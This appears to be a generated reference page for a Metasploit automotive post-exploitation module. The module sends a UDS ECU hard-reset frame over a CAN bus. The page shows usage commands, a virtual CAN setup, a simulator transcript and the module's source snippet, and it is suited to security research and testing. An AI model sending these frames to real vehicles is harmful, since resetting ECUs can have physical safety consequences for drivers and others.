ECU Hard Reset - Metasploit
This page contains detailed information about how to use the post/hardware/automotive/ecu_hard_reset metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: ECU Hard Reset
Module: post/hardware/automotive/ecu_hard_reset
Source code: modules/post/hardware/automotive/ecu_hard_reset.rb
Disclosure date: -
Last modification time: 2021-09-28 18:51:51 +0000
Supported architecture(s): -
Supported platform(s): Hardware
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module performs hard reset in the ECU Reset Service Identifier (0x11)
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Stability:
- crash-service-restarts: Module may crash the service, but the service restarts.
Side Effects:
- physical-effects: Module may produce physical effects (Examples: the device makes movement or flashes LEDs).
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/hardware/automotive/ecu_hard_reset
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/hardware/automotive/ecu_hard_reset
msf post(ecu_hard_reset) > show options
... show and set options ...
msf post(ecu_hard_reset) > set SESSION session-id
msf post(ecu_hard_reset) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/hardware/automotive/ecu_hard_reset")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Introduction
This module performs hard reset in the ECU Reset Service Identifier (0x11).
Verification Steps
Fire up virtual CAN bus:
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
Launch msf:
- Start
msfconsole
use auxiliary/server/local_hwbridge
set uripath testbus
run
use auxiliary/client/hwbridge/connect
set targeturi testbus
Options
ARBID CAN ID to perform ECU Hard Reset (Default: 0x7DF)
CANBUS CAN Bus to perform scan on, defaults to connected bus
Scenarios
Using UDS simulator for testing ECU hard reset:
msf5 auxiliary(client/hwbridge/connect) > run
[*] Running module against 127.0.0.1
[*] Attempting to connect to 127.0.0.1...
[*] Hardware bridge interface session 2 opened (127.0.0.1 -> 127.0.0.1) at 2019-09-11 04:59:40 -0700
[+] HWBridge session established
[*] HW Specialty: {"automotive"=>true} Capabilities: {"can"=>true, "custom_methods"=>true}
[!] NOTICE: You are about to leave the matrix. All actions performed on this hardware bridge
[!] could have real world consequences. Use this module in a controlled testing
[!] environment and with equipment you are authorized to perform testing on.
[*] Auxiliary module execution completed
msf5 auxiliary(client/hwbridge/connect) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 hwbridge cmd/hardware automotive 127.0.0.1 -> 127.0.0.1 (127.0.0.1)
msf5 auxiliary(client/hwbridge/connect) > sessions -i 1
[*] Starting interaction with 1...
hwbridge > run post/hardware/automotive/ecu_hard_reset CANBUS=vcan0
[*] Performing ECU Hard Reset...
You can use candump to verify the CAN messages being sent:
─$ candump vcan0
vcan0 7DF [8] 02 11 01 00 00 00 00 00
UDS Server Output
└─$ ./uds-server -v -V "PWN3D" vcan0
Using CAN interface vcan0
Fuzz level set to: 0
Pkt: 7DF#02 11 01 00 00 00 00 00
Unhandled mode/sid: ECU Reset
Go back to menu.
Msfconsole Usage
Here is how the hardware/automotive/ecu_hard_reset post exploitation module looks in the msfconsole:
msf6 > use post/hardware/automotive/ecu_hard_reset
msf6 post(hardware/automotive/ecu_hard_reset) > show info
Name: ECU Hard Reset
Module: post/hardware/automotive/ecu_hard_reset
Platform: Hardware
Arch:
Rank: Normal
Provided by:
Jay Turla
Module side effects:
physical-effects
Module stability:
crash-service-restarts
Compatible session types:
Hwbridge
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ARBID 0x7DF no CAN ID to perform ECU Hard Reset
CANBUS no CAN Bus to perform scan on, defaults to connected bus
SESSION yes The session to run this module on.
Description:
This module performs hard reset in the ECU Reset Service Identifier
(0x11)
Module Options
This is a complete list of options available in the hardware/automotive/ecu_hard_reset post exploitation module:
msf6 post(hardware/automotive/ecu_hard_reset) > show options
Module options (post/hardware/automotive/ecu_hard_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
ARBID 0x7DF no CAN ID to perform ECU Hard Reset
CANBUS no CAN Bus to perform scan on, defaults to connected bus
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the hardware/automotive/ecu_hard_reset post exploitation module:
msf6 post(hardware/automotive/ecu_hard_reset) > show advanced
Module advanced options (post/hardware/automotive/ecu_hard_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the hardware/automotive/ecu_hard_reset module can do:
msf6 post(hardware/automotive/ecu_hard_reset) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the hardware/automotive/ecu_hard_reset post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(hardware/automotive/ecu_hard_reset) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The hwbridge requires a functional automotive extention
Here is a relevant code snippet related to the "The hwbridge requires a functional automotive extention" error message:
27: ])
28: end
29:
30: def run
31: unless client.automotive
32: print_error('The hwbridge requires a functional automotive extention')
33: return
34: end
35: print_status('Performing ECU Hard Reset...')
36: client.automotive.cansend(datastore['CANBUS'], datastore['ARBID'], '0211010000000000')
37: end
Go back to menu.
Related Pull Requests
Go back to menu.
See Also
Check also the following modules related to this module:
- post/hardware/automotive/can_flood
- post/hardware/automotive/canprobe
- post/hardware/automotive/diagnostic_state
- post/hardware/automotive/getvinfo
- post/hardware/automotive/identifymodules
- post/hardware/automotive/malibu_overheat
- post/hardware/automotive/mazda_ic_mover
- post/hardware/automotive/pdt
Authors
- Jay Turla
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.